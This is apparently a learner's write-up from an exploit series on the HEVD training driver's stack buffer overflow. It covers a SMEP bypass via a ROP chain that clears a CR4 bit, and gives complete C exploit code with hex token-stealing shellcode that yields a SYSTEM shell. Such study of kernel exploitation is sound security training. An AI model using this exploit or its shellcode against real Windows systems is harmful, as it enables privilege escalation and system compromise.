[HEVD Exploit Series] StackOverflow

Target Function

TriggerBufferOverflowStack

__int64 __fastcall TriggerBufferOverflowStack(void *Src, unsigned __int64 Size)
{
  char Dst[2048]; // [rsp+20h] [rbp-818h] BYREF

  memset(Dst, 0, sizeof(Dst));
  ProbeForRead(Src, 0x800ui64, 1u);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", Src);
  DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", Dst);
  DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 0x800i64);
  DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
  memmove(Dst, Src, Size);
  return 0i64;
}

Mitigation: SMEP^[3]^

Definition

SMEP, i.e., Supervisor Mode Execution Protection, ensures that the application does not execute code in untrusted user-mode memory when running at a higher privilege level.

This mechanism is implemented via the 20th bit of control register^[2]^ CR4, with 1 indicating that it is enabled.

Bypass Method

Use a ROP chain to read the contents of CR4 and flip the 20th bit.

Note: Since the EnumDeviceDrivers function is called, the method in this post is only applicable to Medium integrity level and above^[4]^. Otherwise, alternative methods to obtain the kernel module base address must be considered.


To be added: Methods for obtaining the kernel module base address


Brief Exploitation Steps

  1. Determine the offset of the return address relative to the buffer:
    1. Use Metasploit tools to generate a cyclic pattern to locate the offset at the return address;
    2. Determine the offset directly via debugging.
  2. Use RP++ to search for gadgets in ntoskrnl.exe:
    0x997224: pop rcx ; ret ; \x40\x59\xc3 (1 found)
    0x9a41d9: mov cr4, rcx ; ret ; \x0f\x22\xe1\xc3 (1 found)
    
  3. Use nasm + radare2 to generate the shellcode:
    nasm shellcode.asm -o shellcode.bin -f bin
    radare2 -b 32 -c 'pc' ./shellcode.bin
    

Code

#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>

#define DRIVER "\\\\.\\HacksysExtremeVulnerableDriver"
#define IOCTL_CODE 0x222003

ULONGLONG GetKernelBase(void) {
	LPVOID lpImageBase[1024];
	DWORD lpcbNeeded;

	printf("[+] Obtaining Driver Base Address!\n");
	BOOL DriversBase = EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
	if (!DriversBase) {
		printf("[!] FATAL: Error enumerating device drivers!\n");
		exit(1);
	}

	char BaseName[1024] = { 0 };
	BOOL DriversBaseName = GetDeviceDriverBaseNameA(lpImageBase[0], BaseName, sizeof(BaseName));
	if (!DriversBaseName) {
		printf("[!] FATAL: Error getting drivers base name!\n");
		exit(1);
	}

	ULONGLONG KernelBase = (ULONGLONG)lpImageBase[0];

	printf("[*] Driver base name is: %s\n", BaseName);
	printf("[*] %s is located at: 0x%x\n", BaseName, KernelBase);

	return KernelBase;
}

ULONGLONG CreateShellcode(void) {
	/*
		_start:
			mov rax, [gs:0x188]         ; Current thread (_KTHREAD)
			mov rax, [rax + 0xb8]       ; Current process (_EPROCESS)
			mov rbx, rax                ; Copy current process (_EPROCESS) to rbx
		__loop:
			mov rbx, [rbx + 0x448]      ; ActiveProcessLinks
			sub rbx, 0x448              ; Go back to current process (_EPROCESS)
			mov rcx, [rbx + 0x440]      ; UniqueProcessId (PID)
			cmp rcx, 4                  ; Compare PID to SYSTEM PID
			jnz __loop                  ; Loop until SYSTEM PID is found
			mov rcx, [rbx + 0x4b8]      ; SYSTEM token is @ offset _EPROCESS + 0x4b8
			and cl, 0xf0                ; Clear out _EX_FAST_REF RefCnt
			mov [rax + 0x4b8], rcx      ; Copy SYSTEM token to current process
		__cleanup:
			mov rax, [gs:0x188]       ; _KPCR.Prcb.CurrentThread
			mov cx, [rax + 0x1e4]     ; KTHREAD.KernelApcDisable
			inc cx
			mov [rax + 0x1e4], cx
			mov rdx, [rax + 0x90]     ; ETHREAD.TrapFrame
			mov rcx, [rdx + 0x168]    ; ETHREAD.TrapFrame.Rip
			mov r11, [rdx + 0x178]    ; ETHREAD.TrapFrame.EFlags
			mov rsp, [rdx + 0x180]    ; ETHREAD.TrapFrame.Rsp
			mov rbp, [rdx + 0x158]    ; ETHREAD.TrapFrame.Rbp
			xor eax, eax  ;
			swapgs
			o64 sysret 
	*/
	char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"
		"\x48\x89\xC3\x48\x8B\x9B\x48\x04\x00\x00\x48\x81\xEB\x48\x04\x00"
		"\x00\x48\x8B\x8B\x40\x04\x00\x00\x48\x83\xF9\x04\x75\xE5\x48\x8B"
		"\x8B\xB8\x04\x00\x00\x80\xE1\xF0\x48\x89\x88\xB8\x04\x00\x00\x65"
		"\x48\x8B\x04\x25\x88\x01\x00\x00\x66\x8B\x88\xE4\x01\x00\x00\x66"
		"\xFF\xC1\x66\x89\x88\xE4\x01\x00\x00\x48\x8B\x90\x90\x00\x00\x00"
		"\x48\x8B\x8A\x68\x01\x00\x00\x4C\x8B\x9A\x78\x01\x00\x00\x48\x8B"
		"\xA2\x80\x01\x00\x00\x48\x8B\xAA\x58\x01\x00\x00\x31\xC0\x0F\x01"
		"\xF8\x48\x0F\x07";

	LPVOID shellcode = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!shellcode) {
		printf("[-] FATAL: Unable to allocate shellcode!\n");
		exit(1);
	}
	printf("[+] Shellcode allocated at: 0x%p\n", shellcode);

	RtlMoveMemory(shellcode, payload, sizeof(payload));

	ULONGLONG ShellcodeBase = (ULONGLONG)shellcode;
	return ShellcodeBase;
}

void exploit() {
	HANDLE DriverHandle;
	DWORD OldProtect;
	const size_t offset = 2072;
	const size_t buffSize = 2072 + 4 * 8;
	char buffer[buffSize] = { 0 };

	ULONGLONG BaseAddress = GetKernelBase();
	ULONGLONG shellcode = CreateShellcode();

	ULONGLONG ROP1 = BaseAddress + 0x997224;
	ULONGLONG ROP2 = 0x250EF8;
	ULONGLONG ROP3 = BaseAddress + 0x9a41d9;


	printf("[*] Preparing exploit buffer!\n");
	memset(buffer, 0x41, sizeof(buffer));

	printf("[+] Beginning ROP chain to disable SMEP!\n");
	memcpy(&buffer[offset], &ROP1, 8);
	memcpy(&buffer[offset + 8], &ROP2, 8);
	memcpy(&buffer[offset + 16], &ROP3, 8);
	printf("[+] SMEP should now be disabled!\n");

	memcpy(&buffer[offset + 24], &shellcode, 8);
	printf("[+] Executing shellcode!\n");

	printf("[*] Opening handle to %s\n", DRIVER);
	DriverHandle = CreateFileA(DRIVER, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (DriverHandle == INVALID_HANDLE_VALUE) {
		printf("[!] FATAL: Could not open HEVD handle!\n");
		return;
	}

	// The IoControlCode is obtained from HEVD.sys in IDA
	if (!DeviceIoControl(DriverHandle, IOCTL_CODE, buffer, buffSize, NULL, 0, NULL, NULL)) {
		printf("[!] FATAL: Error sending IOCTL to driver!\n");
		return;
	}
}

int main() {
	printf("[+] HEVD: Stack Buffer Overflow!\n");
	exploit();

	system("cmd.exe /c  cmd.exe /K cd C:\\");
	printf("[*] 1337 System Shell Bozo");

	return 0;
}

Key Takeaways

  1. ProbeForRead | The ProbeForRead routine checks that a user-mode buffer actually resides in the user portion of the address space, and is correctly aligned.
  2. The IoControlCode parameter in DeviceIoControl is obtained from reversing the driver file.
  3. The ROP gadget search tool RP++, and the method for generating hexadecimal shellcode.
  4. The privilege escalation technique in the shellcode and the final cleanup originate from Kristal’s^[5]^ trick. However, this cleanup method prevents the resulting command prompt window from closing, indicating that it still has some limitations.

Summary of Questions & Issues

  1. Since I was completely unfamiliar with how to trigger vulnerabilities, I wasn’t sure if a vulnerability actually existed. In fact, in this data copying operation, there is no check or constraint on the size of the source data. Furthermore, both Src and Size are provided by the caller when invoking the driver function, meaning they are user-controlled. Therefore, a buffer overflow vulnerability indeed exists. Missing knowledge: How to interact with the Windows kernel -> C programming using CreateFileA and DeviceIoControl.
  2. Q: Src is a user-mode buffer, so why is Dst a kernel-mode buffer? How are they distinguished? A: This is essentially the same question as above. Src and Size are provided by the caller from user-mode, making it a user-mode buffer. Dst is allocated/created by the driver itself, making it a kernel-mode buffer.
  3. During programming, I encountered a few silly issues:
    1. The buffer size in the original code was set incorrectly, which I failed to notice. I spent ages debugging it while the system kept crashing;
    2. I looked at another analysis post^[6]^ where the code details differed. Even after correcting the buffer size, the system still crashed. Finally, I realized I had misunderstood the code…
    memcpy(&buffer[offset + 24], (void*)shellcode, 8);
    
    *(rop + index++) = (QWORD)shellcode;
    
    The original author used the first method, passing the address of the shellcode variable (i.e. &shellcode). At first, I thought it was a typo in the code. I eventually realized that memcpy needs the address of the variable to copy the pointer value (i.e. the shellcode address itself) into the buffer.

References

  1. Original Analysis Post
  2. wiki for Control register
  3. Supervisor Mode Execution Protection
  4. What is the Windows Integrity Mechanism?
  5. SYSRET_Shellcode
  6. Windows Kernel Exploitation – HEVD x64 Stack Overflow